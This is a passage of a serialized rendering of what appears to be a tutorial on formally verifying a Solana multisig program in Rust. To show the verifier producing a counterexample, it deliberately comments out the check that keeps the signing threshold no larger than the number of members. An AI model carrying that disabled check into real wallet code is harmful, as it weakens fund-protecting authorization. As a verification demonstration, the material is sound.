}\n",[24592],{"type":23,"tag":92,"props":24593,"children":24594},{"__ignoreMap":7},[24595,24603,24611],{"type":23,"tag":134,"props":24596,"children":24597},{"class":136,"line":137},[24598],{"type":23,"tag":134,"props":24599,"children":24600},{"style":141},[24601],{"type":28,"value":24602},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":134,"props":24604,"children":24605},{"class":136,"line":147},[24606],{"type":23,"tag":134,"props":24607,"children":24608},{"style":141},[24609],{"type":28,"value":24610},"//     return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":134,"props":24612,"children":24613},{"class":136,"line":185},[24614],{"type":23,"tag":134,"props":24615,"children":24616},{"style":141},[24617],{"type":28,"value":24618},"// }\n",{"type":23,"tag":24,"props":24620,"children":24621},{},[24622],{"type":28,"value":24623},"And run again:",{"type":23,"tag":87,"props":24625,"children":24627},{"code":24626},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[24628],{"type":23,"tag":92,"props":24629,"children":24630},{"__ignoreMap":7},[24631],{"type":28,"value":24626},{"type":23,"tag":24,"props":24633,"children":24634},{},[24635],{"type":28,"value":24636},"We get the following counterexample:",{"type":23,"tag":87,"props":24638,"children":24640},{"code":24639,"language":127,"meta":7,"className":128,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[24641],{"type":23,"tag":92,"props":24642,"children":24643},{"__ignoreMap":7},[24644,24655,24675,24695,24715,24735,24755,24775,24795,24815,24836,24857,24865,24873,24903],{"type":23,"tag":134,"props":24645,"children":24646},{"class":136,"line":137},[24647,24651],{"type":23,"tag":134,"props":24648,"children":24649},{"style":597},[24650],{"type":28,"value":16618},{"type":23,"tag":134,"props":24652,"children":24653},{"style":179},[24654],{"type":28,"value":463},{"type":23,"tag":134,"props":24656,"children":24657},{"class":136,"line":147},[24658,24663,24667,24671],{"type":23,"tag":134,"props":24659,"children":24660},{"style":162},[24661],{"type":28,"value":24662},"    account",{"type":23,"tag":134,"props":24664,"children":24665},{"style":168},[24666],{"type":28,"value":1697},{"type":23,"tag":134,"props":24668,"children":24669},{"style":597},[24670],{"type":28,"value":20634},{"type":23,"tag":134,"props":24672,"children":24673},{"style":179},[24674],{"type":28,"value":463},{"type":23,"tag":134,"props":24676,"children":24677},{"class":136,"line":185},[24678,24682,24686,24691],{"type":23,"tag":134,"props":24679,"children":24680},{"style":162},[24681],{"type":28,"value":23316},{"type":23,"tag":134,"props":24683,"children":24684},{"style":168},[24685],{"type":28,"value":1697},{"type":23,"tag":134,"props":24687,"children":24688},{"style":205},[24689],{"type":28,"value":24690}," 32768",{"type":23,"tag":134,"props":24692,"children":24693},{"style":179},[24694],{"type":28,"value":687},{"type":23,"tag":134,"props":24696,"children":24697},{"class":136,"line":221},[24698,24703,24707,24711],{"type":23,"tag":134,"props":24699,"children":24700},{"style":162},[24701],{"type":28,"value":24702},"        authority_index",{"type":23,"tag":134,"props":24704,"children":24705},{"style":168},[24706],{"type":28,"value":1697},{"type":23,"tag":134,"props":24708,"children":24709},{"style":205},[24710],{"type":28,"value":1729},{"type":23,"tag":134,"props":24712,"children":24713},{"style":179},[24714],{"type":28,"value":687},{"type":23,"tag":134,"props":24716,"children":24717},{"class":136,"line":332},[24718,24723,24727,24731],{"type":23,"tag":134,"props":24719,"children":24720},{"style":162},[24721],{"type":28,"value":24722},"        transaction_index",{"type":23,"tag":134,"props":24724,"children":24725},{"style":168},[24726],{"type":28,"value":1697},{"type":23,"tag":134,"props":24728,"children":24729},{"style":205},[24730],{"type":28,"value":208},{"type":23,"tag":134,"props":24732,"children":24733},{"style":179},[24734],{"type":28,"value":687},{"type":23,"tag":134,"props":24736,"children":24737},{"class":136,"line":438},[24738,24743,24747,24751],{"type":23,"tag":134,"props":24739,"children":24740},{"style":162},[24741],{"type":28,"value":24742},"        ms_change_index",{"type":23,"tag":134,"props":24744,"children":24745},{"style":168},[24746],{"type":28,"value":1697},{"type":23,"tag":134,"props":24748,"children":24749},{"style":205},[24750],{"type":28,"value":208},{"type":23,"tag":134,"props":24752,"children":24753},{"style":179},[24754],{"type":28,"value":687},{"type":23,"tag":134,"props":24756,"children":24757},{"class":136,"line":466},[24758,24763,24767,24771],{"type":23,"tag":134,"props":24759,"children":24760},{"style":162},[24761],{"type":28,"value":24762},"        bump",{"type":23,"tag":134,"props":24764,"children":24765},{"style":168},[24766],{"type":28,"value":1697},{"type":23,"tag":134,"props":24768,"children":24769},{"style":205},[24770],{"type":28,"value":208},{"type":23,"tag":134,"props":24772,"children":24773},{"style":179},[24774],{"type":28,"value":687},{"type":23,"tag":134,"props":24776,"children":24777},{"class":136,"line":479},[24778,24782,24786,24791],{"type":23,"tag":134,"props":24779,"children":24780},{"style":162},[24781],{"type":28,"value":23329},{"type":23,"tag":134,"props":24783,"children":24784},{"style":168},[24785],{"type":28,"value":1697},{"type":23,"tag":134,"props":24787,"children":24788},{"style":168},[24789],{"type":28,"value":24790}," ...",{"type":23,"tag":134,"props":24792,"children":24793},{"style":179},[24794],{"type":28,"value":687},{"type":23,"tag":134,"props":24796,"children":24797},{"class":136,"line":497},[24798,24803,24807,24811],{"type":23,"tag":134,"props":24799,"children":24800},{"style":162},[24801],{"type":28,"value":24802},"        allow_external_execute",{"type":23,"tag":134,"props":24804,"children":24805},{"style":168},[24806],{"type":28,"value":1697},{"type":23,"tag":134,"props":24808,"children":24809},{"style":151},[24810],{"type":28,"value":8519},{"type":23,"tag":134,"props":24812,"children":24813},{"style":179},[24814],{"type":28,"value":687},{"type":23,"tag":134,"props":24816,"children":24817},{"class":136,"line":518},[24818,24823,24827,24832],{"type":23,"tag":134,"props":24819,"children":24820},{"style":162},[24821],{"type":28,"value":24822},"        keys",{"type":23,"tag":134,"props":24824,"children":24825},{"style":168},[24826],{"type":28,"value":1697},{"type":23,"tag":134,"props":24828,"children":24829},{"style":597},[24830],{"type":28,"value":24831}," SparseVec",{"type":23,"tag":134,"props":24833,"children":24834},{"style":179},[24835],{"type":28,"value":463},{"type":23,"tag":134,"props":24837,"children":24838},{"class":136,"line":527},[24839,24844,24848,24853],{"type":23,"tag":134,"props":24840,"children":24841},{"style":162},[24842],{"type":28,"value":24843},"            size",{"type":23,"tag":134,"props":24845,"children":24846},{"style":168},[24847],{"type":28,"value":1697},{"type":23,"tag":134,"props":24849,"children":24850},{"style":205},[24851],{"type":28,"value":24852}," 5112",{"type":23,"tag":134,"props":24854,"children":24855},{"style":179},[24856],{"type":28,"value":687},{"type":23,"tag":134,"props":24858,"children":24859},{"class":136,"line":780},[24860],{"type":23,"tag":134,"props":24861,"children":24862},{"style":179},[24863],{"type":28,"value":24864},"        },\n",{"type":23,"tag":134,"props":24866,"children":24867},{"class":136,"line":797},[24868],{"type":23,"tag":134,"props":24869,"children":24870},{"style":179},[24871],{"type":28,"value":24872},"    },\n",{"type":23,"tag":134,"props":24874,"children":24875},{"class":136,"line":814},[24876,24881,24885,24890,24894,24898],{"type":23,"tag":134,"props":24877,"children":24878},{"style":162},[24879],{"type":28,"value":24880},"    info",{"type":23,"tag":134,"props":24882,"children":24883},{"style":168},[24884],{"type":28,"value":1697},{"type":23,"tag":134,"props":24886,"children":24887},{"style":597},[24888],{"type":28,"value":24889}," AccountInfo",{"type":23,"tag":134,"props":24891,"children":24892},{"style":179},[24893],{"type":28,"value":9049},{"type":23,"tag":134,"props":24895,"children":24896},{"style":168},[24897],{"type":28,"value":9054},{"type":23,"tag":134,"props":24899,"children":24900},{"style":179},[24901],{"type":28,"value":24902}," },\n",{"type":23,"tag":134,"props":24904,"children":24905},{"class":136,"line":827},[24906],{"type":23,"tag":134,"props":24907,"children":24908},{"style":179},[24909],{"type":28,"value":1098},{"type":23,"tag":24,"props":24911,"children":24912},{},[24913,24915,24920,24922,24927],{"type":28,"value":24914},"Here we see that the ",{"type":23,"tag":92,"props":24916,"children":24918},{"className":24917},[],[24919],{"type":28,"value":22228},{"type":28,"value":24921}," of the newly created ",{"type":23,"tag":92,"props":24923,"children":24925},{"className":24924},[],[24926],{"type":28,"value":22220},{"type":28,"value":24928}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":9072,"props":24930,"children":24932},{"id":24931},"verify-requirements-to-remove-a-member",[24933],{"type":28,"value":22258},{"type":23,"tag":24,"props":24935,"children":24936},{},[24937,24939,24944,24945,24950,24952,24958],{"type":28,"value":24938},"Now that we've seen both ",{"type":23,"tag":92,"props":24940,"children":24942},{"className":24941},[],[24943],{"type":28,"value":19632},{"type":28,"value":10458},{"type":23,"tag":92,"props":24946,"children":24948},{"className":24947},[],[24949],{"type":28,"value":21256},{"type":28,"value":24951}," let's take a look at the ",{"type":23,"tag":92,"props":24953,"children":24955},{"className":24954},[],[24956],{"type":28,"value":24957},"remove_member",{"type":28,"value":24959}," function:",{"type":23,"tag":87,"props":24961,"children":24963},{"code":24962,"language":127,"meta":7,"className":128,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[24964],{"type":23,"tag":92,"props":24965,"children":24966},{"__ignoreMap":7},[24967,24990,25018,25033,25078,25085,25097,25113,25125,25151,25159,25188,25195,25227,25234,25241,25315,25323,25383,25415,25422,25473,25480,25488,25581,25670,25724,25731,25776,25821],{"type":23,"tag":134,"props":24968,"children":24969},{"class":136,"line":137},[24970,24974,24978,24982,24986],{"type":23,"tag":134,"props":24971,"children":24972},{"style":179},[24973],{"type":28,"value":22316},{"type":23,"tag":134,"props":24975,"children":24976},{"style":597},[24977],{"type":28,"value":22321},{"type":23,"tag":134,"props":24979,"children":24980},{"style":179},[24981],{"type":28,"value":242},{"type":23,"tag":134,"props":24983,"children":24984},{"style":597},[24985],{"type":28,"value":24201},{"type":23,"tag":134,"props":24987,"children":24988},{"style":179},[24989],{"type":28,"value":19736},{"type":23,"tag":134,"props":24991,"children":24992},{"class":136,"line":147},[24993,24997,25001,25006,25010,25014],{"type":23,"tag":134,"props":24994,"children":24995},{"style":151},[24996],{"type":28,"value":13158},{"type":23,"tag":134,"props":24998,"children":24999},{"style":151},[25000],{"type":28,"value":20629},{"type":23,"tag":134,"props":25002,"children":25003},{"style":597},[25004],{"type":28,"value":25005}," MsAuth",{"type":23,"tag":134,"props":25007,"children":25008},{"style":179},[25009],{"type":28,"value":22401},{"type":23,"tag":134,"props":25011,"children":25012},{"style":597},[25013],{"type":28,"value":22406},{"type":23,"tag":134,"props":25015,"children":25016},{"style":179},[25017],{"type":28,"value":6739},{"type":23,"tag":134,"props":25019,"children":25020},{"class":136,"line":185},[25021,25025,25029],{"type":23,"tag":134,"props":25022,"children":25023},{"style":179},[25024],{"type":28,"value":22608},{"type":23,"tag":134,"props":25026,"children":25027},{"style":151},[25028],{"type":28,"value":914},{"type":23,"tag":134,"props":25030,"children":25031},{"style":179},[25032],{"type":28,"value":19736},{"type":23,"tag":134,"props":25034,"children":25035},{"class":136,"line":221},[25036,25041,25045,25050,25054,25058,25062,25066,25070,25074],{"type":23,"tag":134,"props":25037,"children":25038},{"style":162},[25039],{"type":28,"value":25040},"    multisig",{"type":23,"tag":134,"props":25042,"children":25043},{"style":168},[25044],{"type":28,"value":1697},{"type":23,"tag":134,"props":25046,"children":25047},{"style":597},[25048],{"type":28,"value":25049}," Box",{"type":23,"tag":134,"props":25051,"children":25052},{"style":179},[25053],{"type":28,"value":5262},{"type":23,"tag":134,"props":25055,"children":25056},{"style":597},[25057],{"type":28,"value":16618},{"type":23,"tag":134,"props":25059,"children":25060},{"style":179},[25061],{"type":28,"value":22401},{"type":23,"tag":134,"props":25063,"children":25064},{"style":597},[25065],{"type":28,"value":22406},{"type":23,"tag":134,"props":25067,"children":25068},{"style":179},[25069],{"type":28,"value":242},{"type":23,"tag":134,"props":25071,"children":25072},{"style":597},[25073],{"type":28,"value":22220},{"type":23,"tag":134,"props":25075,"children":25076},{"style":179},[25077],{"type":28,"value":6409},{"type":23,"tag":134,"props":25079,"children":25080},{"class":136,"line":332},[25081],{"type":23,"tag":134,"props":25082,"children":25083},{"style":179},[25084],{"type":28,"value":22418},{"type":23,"tag":134,"props":25086,"children":25087},{"class":136,"line":438},[25088,25093],{"type":23,"tag":134,"props":25089,"children":25090},{"style":151},[25091],{"type":28,"value":25092},"        mut",{"type":23,"tag":134,"props":25094,"children":25095},{"style":179},[25096],{"type":28,"value":687},{"type":23,"tag":134,"props":25098,"children":25099},{"class":136,"line":466},[25100,25104,25108],{"type":23,"tag":134,"props":25101,"children":25102},{"style":179},[25103],{"type":28,"value":22502},{"type":23,"tag":134,"props":25105,"children":25106},{"style":168},[25107],{"type":28,"value":257},{"type":23,"tag":134,"props":25109,"children":25110},{"style":179},[25111],{"type":28,"value":25112}," [\n",{"type":23,"tag":134,"props":25114,"children":25115},{"class":136,"line":479},[25116,25121],{"type":23,"tag":134,"props":25117,"children":25118},{"style":1461},[25119],{"type":28,"value":25120},"            b\"squad\"",{"type":23,"tag":134,"props":25122,"children":25123},{"style":179},[25124],{"type":28,"value":687},{"type":23,"tag":134,"props":25126,"children":25127},{"class":136,"line":497},[25128,25133,25137,25142,25146],{"type":23,"tag":134,"props":25129,"children":25130},{"style":179},[25131],{"type":28,"value":25132},"            multisig",{"type":23,"tag":134,"props":25134,"children":25135},{"style":168},[25136],{"type":28,"value":720},{"type":23,"tag":134,"props":25138,"children":25139},{"style":179},[25140],{"type":28,"value":25141},"create_key",{"type":23,"tag":134,"props":25143,"children":25144},{"style":168},[25145],{"type":28,"value":720},{"type":23,"tag":134,"props":25147,"children":25148},{"style":179},[25149],{"type":28,"value":25150},"as_ref(),\n",{"type":23,"tag":134,"props":25152,"children":25153},{"class":136,"line":518},[25154],{"type":23,"tag":134,"props":25155,"children":25156},{"style":1461},[25157],{"type":28,"value":25158},"            b\"multisig\"\n",{"type":23,"tag":134,"props":25160,"children":25161},{"class":136,"line":527},[25162,25167,25172,25176,25180,25184],{"type":23,"tag":134,"props":25163,"children":25164},{"style":179},[25165],{"type":28,"value":25166},"        ], ",{"type":23,"tag":134,"props":25168,"children":25169},{"style":162},[25170],{"type":28,"value":25171},"bump",{"type":23,"tag":134,"props":25173,"children":25174},{"style":168},[25175],{"type":28,"value":171},{"type":23,"tag":134,"props":25177,"children":25178},{"style":162},[25179],{"type":28,"value":22564},{"type":23,"tag":134,"props":25181,"children":25182},{"style":168},[25183],{"type":28,"value":720},{"type":23,"tag":134,"props":25185,"children":25186},{"style":179},[25187],{"type":28,"value":22544},{"type":23,"tag":134,"props":25189,"children":25190},{"class":136,"line":780},[25191],{"type":23,"tag":134,"props":25192,"children":25193},{"style":179},[25194],{"type":28,"value":22552},{"type":23,"tag":134,"props":25196,"children":25197},{"class":136,"line":797},[25198,25202,25207,25211,25215,25219,25223],{"type":23,"tag":134,"props":25199,"children":25200},{"style":151},[25201],{"type":28,"value":20321},{"type":23,"tag":134,"props":25203,"children":25204},{"style":162},[25205],{"type":28,"value":25206}," multisig_auth",{"type":23,"tag":134,"props":25208,"children":25209},{"style":168},[25210],{"type":28,"value":1697},{"type":23,"tag":134,"props":25212,"children":25213},{"style":597},[25214],{"type":28,"value":22637},{"type":23,"tag":134,"props":25216,"children":25217},{"style":179},[25218],{"type":28,"value":22401},{"type":23,"tag":134,"props":25220,"children":25221},{"style":597},[25222],{"type":28,"value":22406},{"type":23,"tag":134,"props":25224,"children":25225},{"style":179},[25226],{"type":28,"value":5595},{"type":23,"tag":134,"props":25228,"children":25229},{"class":136,"line":814},[25230],{"type":23,"tag":134,"props":25231,"children":25232},{"style":179},[25233],{"type":28,"value":1098},{"type":23,"tag":134,"props":25235,"children":25236},{"class":136,"line":827},[25237],{"type":23,"tag":134,"props":25238,"children":25239},{"emptyLinePlaceholder":15},[25240],{"type":28,"value":865},{"type":23,"tag":134,"props":25242,"children":25243},{"class":136,"line":836},[25244,25248,25252,25257,25261,25265,25269,25273,25277,25282,25286,25291,25295,25299,25303,25307,25311],{"type":23,"tag":134,"props":25245,"children":25246},{"style":151},[25247],{"type":28,"value":13158},{"type":23,"tag":134,"props":25249,"children":25250},{"style":151},[25251],{"type":28,"value":13163},{"type":23,"tag":134,"props":25253,"children":25254},{"style":264},[25255],{"type":28,"value":25256}," remove_member",{"type":23,"tag":134,"props":25258,"children":25259},{"style":179},[25260],{"type":28,"value":272},{"type":23,"tag":134,"props":25262,"children":25263},{"style":162},[25264],{"type":28,"value":19758},{"type":23,"tag":134,"props":25266,"children":25267},{"style":168},[25268],{"type":28,"value":1697},{"type":23,"tag":134,"props":25270,"children":25271},{"style":597},[25272],{"type":28,"value":19767},{"type":23,"tag":134,"props":25274,"children":25275},{"style":179},[25276],{"type":28,"value":5262},{"type":23,"tag":134,"props":25278,"children":25279},{"style":597},[25280],{"type":28,"value":25281},"MsAuth",{"type":23,"tag":134,"props":25283,"children":25284},{"style":179},[25285],{"type":28,"value":6088},{"type":23,"tag":134,"props":25287,"children":25288},{"style":162},[25289],{"type":28,"value":25290},"old_member",{"type":23,"tag":134,"props":25292,"children":25293},{"style":168},[25294],{"type":28,"value":1697},{"type":23,"tag":134,"props":25296,"children":25297},{"style":597},[25298],{"type":28,"value":20335},{"type":23,"tag":134,"props":25300,"children":25301},{"style":179},[25302],{"type":28,"value":252},{"type":23,"tag":134,"props":25304,"children":25305},{"style":168},[25306],{"type":28,"value":13225},{"type":23,"tag":134,"props":25308,"children":25309},{"style":597},[25310],{"type":28,"value":13230},{"type":23,"tag":134,"props":25312,"children":25313},{"style":179},[25314],{"type":28,"value":19809},{"type":23,"tag":134,"props":25316,"children":25317},{"class":136,"line":859},[25318],{"type":23,"tag":134,"props":25319,"children":25320},{"style":141},[25321],{"type":28,"value":25322},"    // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":134,"props":25324,"children":25325},{"class":136,"line":868},[25326,25330,25335,25339,25343,25347,25351,25355,25359,25363,25367,25371,25375,25379],{"type":23,"tag":134,"props":25327,"children":25328},{"style":189},[25329],{"type":28,"value":11746},{"type":23,"tag":134,"props":25331,"children":25332},{"style":162},[25333],{"type":28,"value":25334}," ctx",{"type":23,"tag":134,"props":25336,"children":25337},{"style":168},[25338],{"type":28,"value":720},{"type":23,"tag":134,"props":25340,"children":25341},{"style":179},[25342],{"type":28,"value":14143},{"type":23,"tag":134,"props":25344,"children":25345},{"style":168},[25346],{"type":28,"value":720},{"type":23,"tag":134,"props":25348,"children":25349},{"style":179},[25350],{"type":28,"value":23295},{"type":23,"tag":134,"props":25352,"children":25353},{"style":168},[25354],{"type":28,"value":720},{"type":23,"tag":134,"props":25356,"children":25357},{"style":179},[25358],{"type":28,"value":20461},{"type":23,"tag":134,"props":25360,"children":25361},{"style":168},[25362],{"type":28,"value":720},{"type":23,"tag":134,"props":25364,"children":25365},{"style":264},[25366],{"type":28,"value":8601},{"type":23,"tag":134,"props":25368,"children":25369},{"style":179},[25370],{"type":28,"value":13511},{"type":23,"tag":134,"props":25372,"children":25373},{"style":168},[25374],{"type":28,"value":8035},{"type":23,"tag":134,"props":25376,"children":25377},{"style":205},[25378],{"type":28,"value":1729},{"type":23,"tag":134,"props":25380,"children":25381},{"style":179},[25382],{"type":28,"value":463},{"type":23,"tag":134,"props":25384,"children":25385},{"class":136,"line":877},[25386,25390,25394,25398,25402,25406,25411],{"type":23,"tag":134,"props":25387,"children":25388},{"style":189},[25389],{"type":28,"value":15214},{"type":23,"tag":134,"props":25391,"children":25392},{"style":264},[25393],{"type":28,"value":22998},{"type":23,"tag":134,"props":25395,"children":25396},{"style":179},[25397],{"type":28,"value":272},{"type":23,"tag":134,"props":25399,"children":25400},{"style":597},[25401],{"type":28,"value":23007},{"type":23,"tag":134,"props":25403,"children":25404},{"style":168},[25405],{"type":28,"value":660},{"type":23,"tag":134,"props":25407,"children":25408},{"style":597},[25409],{"type":28,"value":25410},"CannotRemoveSoloMember",{"type":23,"tag":134,"props":25412,"children":25413},{"style":179},[25414],{"type":28,"value":1021},{"type":23,"tag":134,"props":25416,"children":25417},{"class":136,"line":946},[25418],{"type":23,"tag":134,"props":25419,"children":25420},{"style":179},[25421],{"type":28,"value":533},{"type":23,"tag":134,"props":25423,"children":25424},{"class":136,"line":954},[25425,25429,25433,25437,25441,25445,25449,25453,25457,25461,25465,25469],{"type":23,"tag":134,"props":25426,"children":25427},{"style":162},[25428],{"type":28,"value":19701},{"type":23,"tag":134,"props":25430,"children":25431},{"style":168},[25432],{"type":28,"value":720},{"type":23,"tag":134,"props":25434,"children":25435},{"style":179},[25436],{"type":28,"value":14143},{"type":23,"tag":134,"props":25438,"children":25439},{"style":168},[25440],{"type":28,"value":720},{"type":23,"tag":134,"props":25442,"children":25443},{"style":179},[25444],{"type":28,"value":23295},{"type":23,"tag":134,"props":25446,"children":25447},{"style":168},[25448],{"type":28,"value":720},{"type":23,"tag":134,"props":25450,"children":25451},{"style":264},[25452],{"type":28,"value":24957},{"type":23,"tag":134,"props":25454,"children":25455},{"style":179},[25456],{"type":28,"value":272},{"type":23,"tag":134,"props":25458,"children":25459},{"style":162},[25460],{"type":28,"value":25290},{"type":23,"tag":134,"props":25462,"children":25463},{"style":179},[25464],{"type":28,"value":296},{"type":23,"tag":134,"props":25466,"children":25467},{"style":168},[25468],{"type":28,"value":324},{"type":23,"tag":134,"props":25470,"children":25471},{"style":179},[25472],{"type":28,"value":182},{"type":23,"tag":134,"props":25474,"children":25475},{"class":136,"line":984},[25476],{"type":23,"tag":134,"props":25477,"children":25478},{"emptyLinePlaceholder":15},[25479],{"type":28,"value":865},{"type":23,"tag":134,"props":25481,"children":25482},{"class":136,"line":992},[25483],{"type":23,"tag":134,"props":25484,"children":25485},{"style":141},[25486],{"type":28,"value":25487},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":134,"props":25489,"children":25490},{"class":136,"line":1024},[25491,25495,25499,25503,25507,25511,25515,25519,25523,25527,25531,25536,25540,25544,25548,25552,25556,25560,25564,25568,25572,25576],{"type":23,"tag":134,"props":25492,"children":25493},{"style":189},[25494],{"type":28,"value":11746},{"type":23,"tag":134,"props":25496,"children":25497},{"style":162},[25498],{"type":28,"value":25334},{"type":23,"tag":134,"props":25500,"children":25501},{"style":168},[25502],{"type":28,"value":720},{"type":23,"tag":134,"props":25504,"children":25505},{"style":179},[25506],{"type":28,"value":14143},{"type":23,"tag":134,"props":25508,"children":25509},{"style":168},[25510],{"type":28,"value":720},{"type":23,"tag":134,"props":25512,"children":25513},{"style":179},[25514],{"type":28,"value":23295},{"type":23,"tag":134,"props":25516,"children":25517},{"style":168},[25518],{"type":28,"value":720},{"type":23,"tag":134,"props":25520,"children":25521},{"style":179},[25522],{"type":28,"value":20461},{"type":23,"tag":134,"props":25524,"children":25525},{"style":168},[25526],{"type":28,"value":720},{"type":23,"tag":134,"props":25528,"children":25529},{"style":264},[25530],{"type":28,"value":8601},{"type":23,"tag":134,"props":25532,"children":25533},{"style":179},[25534],{"type":28,"value":25535},"() \u003C ",{"type":23,"tag":134,"props":25537,"children":25538},{"style":597},[25539],{"type":28,"value":16072},{"type":23,"tag":134,"props":25541,"children":25542},{"style":168},[25543],{"type":28,"value":660},{"type":23,"tag":134,"props":25545,"children":25546},{"style":264},[25547],{"type":28,"value":18950},{"type":23,"tag":134,"props":25549,"children":25550},{"style":179},[25551],{"type":28,"value":272},{"type":23,"tag":134,"props":25553,"children":25554},{"style":162},[25555],{"type":28,"value":19758},{"type":23,"tag":134,"props":25557,"children":25558},{"style":168},[25559],{"type":28,"value":720},{"type":23,"tag":134,"props":25561,"children":25562},{"style":179},[25563],{"type":28,"value":14143},{"type":23,"tag":134,"props":25565,"children":25566},{"style":168},[25567],{"type":28,"value":720},{"type":23,"tag":134,"props":25569,"children":25570},{"style":179},[25571],{"type":28,"value":23295},{"type":23,"tag":134,"props":25573,"children":25574},{"style":168},[25575],{"type":28,"value":720},{"type":23,"tag":134,"props":25577,"children":25578},{"style":179},[25579],{"type":28,"value":25580},"threshold) {\n",{"type":23,"tag":134,"props":25582,"children":25583},{"class":136,"line":1032},[25584,25588,25593,25597,25601,25605,25609,25613,25617,25621,25625,25629,25633,25637,25641,25645,25649,25654,25658,25662,25666],{"type":23,"tag":134,"props":25585,"children":25586},{"style":151},[25587],{"type":28,"value":227},{"type":23,"tag":134,"props":25589,"children":25590},{"style":162},[25591],{"type":28,"value":25592}," new_threshold",{"type":23,"tag":134,"props":25594,"children":25595},{"style":168},[25596],{"type":28,"value":1697},{"type":23,"tag":134,"props":25598,"children":25599},{"style":597},[25600],{"type":28,"value":20508},{"type":23,"tag":134,"props":25602,"children":25603},{"style":168},[25604],{"type":28,"value":171},{"type":23,"tag":134,"props":25606,"children":25607},{"style":162},[25608],{"type":28,"value":25334},{"type":23,"tag":134,"props":25610,"children":25611},{"style":168},[25612],{"type":28,"value":720},{"type":23,"tag":134,"props":25614,"children":25615},{"style":179},[25616],{"type":28,"value":14143},{"type":23,"tag":134,"props":25618,"children":25619},{"style":168},[25620],{"type":28,"value":720},{"type":23,"tag":134,"props":25622,"children":25623},{"style":179},[25624],{"type":28,"value":23295},{"type":23,"tag":134,"props":25626,"children":25627},{"style":168},[25628],{"type":28,"value":720},{"type":23,"tag":134,"props":25630,"children":25631},{"style":179},[25632],{"type":28,"value":20461},{"type":23,"tag":134,"props":25634,"children":25635},{"style":168},[25636],{"type":28,"value":720},{"type":23,"tag":134,"props":25638,"children":25639},{"style":264},[25640],{"type":28,"value":8601},{"type":23,"tag":134,"props":25642,"children":25643},{"style":179},[25644],{"type":28,"value":13347},{"type":23,"tag":134,"props":25646,"children":25647},{"style":168},[25648],{"type":28,"value":720},{"type":23,"tag":134,"props":25650,"children":25651},{"style":264},[25652],{"type":28,"value":25653},"try_into",{"type":23,"tag":134,"props":25655,"children":25656},{"style":179},[25657],{"type":28,"value":13347},{"type":23,"tag":134,"props":25659,"children":25660},{"style":168},[25661],{"type":28,"value":720},{"type":23,"tag":134,"props":25663,"children":25664},{"style":264},[25665],{"type":28,"value":851},{"type":23,"tag":134,"props":25667,"children":25668},{"style":179},[25669],{"type":28,"value":856},{"type":23,"tag":134,"props":25671,"children":25672},{"class":136,"line":1092},[25673,25678,25682,25686,25690,25694,25698,25703,25707,25712,25716,25720],{"type":23,"tag":134,"props":25674,"children":25675},{"style":162},[25676],{"type":28,"value":25677},"        ctx",{"type":23,"tag":134,"props":25679,"children":25680},{"style":168},[25681],{"type":28,"value":720},{"type":23,"tag":134,"props":25683,"children":25684},{"style":179},[25685],{"type":28,"value":14143},{"type":23,"tag":134,"props":25687,"children":25688},{"style":168},[25689],{"type":28,"value":720},{"type":23,"tag":134,"props":25691,"children":25692},{"style":179},[25693],{"type":28,"value":23295},{"type":23,"tag":134,"props":25695,"children":25696},{"style":168},[25697],{"type":28,"value":720},{"type":23,"tag":134,"props":25699,"children":25700},{"style":264},[25701],{"type":28,"value":25702},"change_threshold",{"type":23,"tag":134,"props":25704,"children":25705},{"style":179},[25706],{"type":28,"value":272},{"type":23,"tag":134,"props":25708,"children":25709},{"style":162},[25710],{"type":28,"value":25711},"new_threshold",{"type":23,"tag":134,"props":25713,"children":25714},{"style":179},[25715],{"type":28,"value":296},{"type":23,"tag":134,"props":25717,"children":25718},{"style":168},[25719],{"type":28,"value":324},{"type":23,"tag":134,"props":25721,"children":25722},{"style":179},[25723],{"type":28,"value":182},{"type":23,"tag":134,"props":25725,"children":25726},{"class":136,"line":8508},[25727],{"type":23,"tag":134,"props":25728,"children":25729},{"style":179},[25730],{"type":28,"value":533},{"type":23,"tag":134,"props":25732,"children":25733},{"class":136,"line":8526},[25734,25738,25743,25747,25751,25755,25759,25763,25767,25771],{"type":23,"tag":134,"props":25735,"children":25736},{"style":151},[25737],{"type":28,"value":154},{"type":23,"tag":134,"props":25739,"children":25740},{"style":162},[25741],{"type":28,"value":25742}," 